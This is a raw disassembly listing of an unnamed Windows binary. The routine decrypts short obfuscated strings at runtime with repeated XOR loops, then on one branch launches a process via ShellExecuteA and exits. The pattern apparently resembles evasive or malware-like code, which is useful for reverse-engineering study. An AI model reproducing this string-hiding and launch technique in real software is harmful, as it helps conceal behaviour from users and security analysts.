movd dword [ebp - 0x28], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a670]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x64a720]
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [ebp - 0x24], xmm1
jmp 0x44ff06
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x2a8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x28], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 8
jl 0x44fed3
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ff21
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00472fb0
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
lea ecx, [ebp - 0x2d8]
cmova eax, dword [ebp - 0x50]
push eax
call fcn.00471c40
mov ecx, eax
call fcn.00471d90
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 0x2ad], al
cmp ecx, 0xf
jbe 0x44ff9d
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ff8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45046f
push ecx
push edx
call fcn.005ce99e
mov al, byte [ebp - 0x2ad]
add esp, 8
test al, al
je 0x45014d
mov ax, word [0x649ce8]
movq xmm0, qword [str.FSDKPUUUY_]
movq qword [ebp - 0x2c], xmm0
mov word [ebp - 0x24], ax
test ah, ah
je 0x450009
xor edx, edx
mov dword [ebp - 0x2a8], edx
nop dword [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 0xa
jl 0x44ffd0
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450024
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00472fb0
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
lea ecx, [ebp - 0x2d8]
cmova eax, dword [ebp - 0x50]
push eax
call fcn.00471c40
push eax
lea ecx, [edi + 0xe8]
call fcn.00478090
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x450095
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45008b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45046f
push ecx
push edx
call fcn.005ce99e
add esp, 8
lea ecx, [ebp - 0x2d8]
call fcn.0046dc90
mov ecx, dword [ebp - 0x110]
cmp ecx, 0xf
jbe 0x4500da
mov edx, dword [ebp - 0x124]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4500d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45046f
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], 0
cmp ecx, 0xf
jbe 0x45012f
mov edx, dword [ebp - 0x274]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450125
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45046f
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005ce5ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ax, word [0x649de0]
xor edx, edx
movq xmm0, qword [str.XAYUS_JXL_]
mov word [ebp - 0x24], ax
mov al, byte [0x649de2]
movq qword [ebp - 0x2c], xmm0
mov byte [ebp - 0x22], al
mov dword [ebp - 0x2a8], edx
nop dword [eax]
nop dword [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 0xb
jl 0x450180
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x74], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4501d4
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00472fb0
mov byte [ebp - 4], 0x3b
lea edi, [ebp - 0x74]
cmp dword [ebp - 0x60], 0xf
mov ecx, dword [str.XSDKX__bch]
cmova edi, dword [ebp - 0x74]
cmp byte [0x649077], 0
mov eax, dword [0x649074]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
je 0x450353
xor edx, edx
mov dword [ebp - 0x2a8], edx
cmp esi, 2
jl 0x450320
movaps xmm2, xmmword [0x64a650]
movaps xmm4, xmmword [0x64a6f0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
mov eax, dword [0x64a720]
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a670]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a660]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x28], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a670]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x649074]
xorps xmm1, xmm0
movd dword [ebp - 0x24], xmm1
jmp 0x450353
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x2a8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x28], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 8
jl 0x450320
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450370
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00472fb0
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
lea ecx, [ebp - 0x2d8]
cmova eax, dword [ebp - 0x50]
push eax
call fcn.00471c40
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 4], 0x3d
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x28], xmm0
mov byte [ebp - 0x30], 3
call fcn.005ce71d
mov esi, eax
mov ecx, edi
xorps xmm0, xmm0
add esp, 4
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4503e0
sub ecx, edx
push ecx
push edi
mov ecx, esi
call fcn.00472fb0
mov ecx, dword [ebp - 0x2ac]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x28], esi
call fcn.00474630
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x2ad], al
call fcn.0046dc90
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x450445
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45043b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45046f
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x45047f
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450475
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x450475
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce99e
add esp, 8
cmp byte [ebp - 0x2ad], 0
je 0x4505b2
lea eax, [ebp - 0x2c]
push eax
call fcn.00450950
mov edi, eax
cmp byte [edi + 8], 0
je 0x4504d9
xor ecx, ecx
mov dword [ebp - 0x2a8], ecx
mov eax, 0x29e4129f
lea esi, [ecx + edi]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x2a8]
inc ecx
mov dword [ebp - 0x2a8], ecx
cmp ecx, 9
jl 0x4504a5
push edi
lea ecx, [ebp - 0xa8]
call fcn.0046efe0
mov ecx, eax
mov byte [ebp - 4], 0x3e
call fcn.0046edb0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00471c40
lea ecx, [ebp - 0x19c]
push ecx
mov ecx, eax
call fcn.00471e30
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x40
call fcn.0046ef10
lea ecx, [ebp - 0x19c]
call fcn.0046edb0
mov dword [ebp - 0x2ac], eax
lea eax, [ebp - 0x58]
push eax
call fcn.00450970
mov edi, eax
cmp byte [edi + 4], 0
je 0x450577
xor ecx, ecx
mov dword [ebp - 0x2a8], ecx
mov eax, 0x29e4129f
lea esi, [ecx + edi]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x2a8]
inc ecx
mov dword [ebp - 0x2a8], ecx
cmp ecx, 5
jl 0x450543
push edi
lea ecx, [ebp - 0x1b4]
call fcn.0046efe0
mov ecx, eax
call fcn.0046edb0
push 1
push 0
push 0
push dword [ebp - 0x2ac]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x1b4]
call fcn.0046ef10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x28]
push eax
call fcn.00450990
mov edi, eax
cmp byte [edi + 7], 0
je 0x4508d2
xor ecx, ecx
cmp dword [0x665d98], 2
mov dword [ebp - 0x2a8], ecx
jl 0x4506d0
movaps xmm2, xmmword [0x64a650]
movaps xmm4, xmmword [0x64a6f0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
mov eax, dword [0x64a720]
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a670]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a660]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [edi], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a670]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi + 4]
xorps xmm1, xmm0
movd dword [edi + 4], xmm1
jmp 0x4508d2
mov eax, 0x94f2095
lea esi, [ecx + edi]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x2a8]
inc ecx
mov dword [ebp - 0x2a8], ecx
cmp ecx, 8
jge 0x4508d2
jmp 0x4506d0
lea eax, [ebp - 0xac]
push eax
call fcn.00450910
mov edi, eax
mov dword [ebp - 0x58], edi
cmp byte [edi + 0x1d], 0
je 0x4508a6
xor ecx, ecx
cmp dword [0x665d98], 2
mov dword [ebp - 0x2a8], ecx
jl 0x450874
movaps xmm0, xmmword [0x64a720]
mov eax, 4
movaps xmm4, xmmword [0x64a650]
sub eax, edi
movaps xmm3, xmmword [0x64a6f0]
mov edx, edi
movaps xmm5, xmmword [0x64a670]
mov edi, eax
movaps xmmword [ebp - 0x30], xmm0
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x2ac], eax
nop dword [eax]
movd xmm0, ecx
lea eax, [edi + edx]
pshufd xmm2, xmm0, 0
lea edx, [edx + 8]
paddd xmm2, xmm4
add ecx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
movd xmm0, esi
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x18
jl 0x450770
mov edi, dword [ebp - 0x58]
mov dword [ebp - 0x2a8], ecx
cmp ecx, 0x1e
jge 0x4508a6
mov eax, 0x94f2095
lea esi, [ecx + edi]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x2a8]
inc ecx
mov dword [ebp - 0x2a8], ecx
cmp ecx, 0x1e
jl 0x450874
push edi
lea ecx, [ebp - 0x274]
call fcn.0046efe0
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, eax
mov esi, esp
call fcn.0046edb0
push eax
mov ecx, esi
call fcn.0046efe0
call fcn.00453eb0
push edi
lea ecx, [ebp - 0x19c]
call fcn.0046efe0
mov ecx, eax
mov byte [ebp - 4], 0x41
call fcn.0046edb0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00471c40
sub esp, 0x18
mov ecx, eax
push esp
call fcn.00471e30
call fcn.00453eb0
int3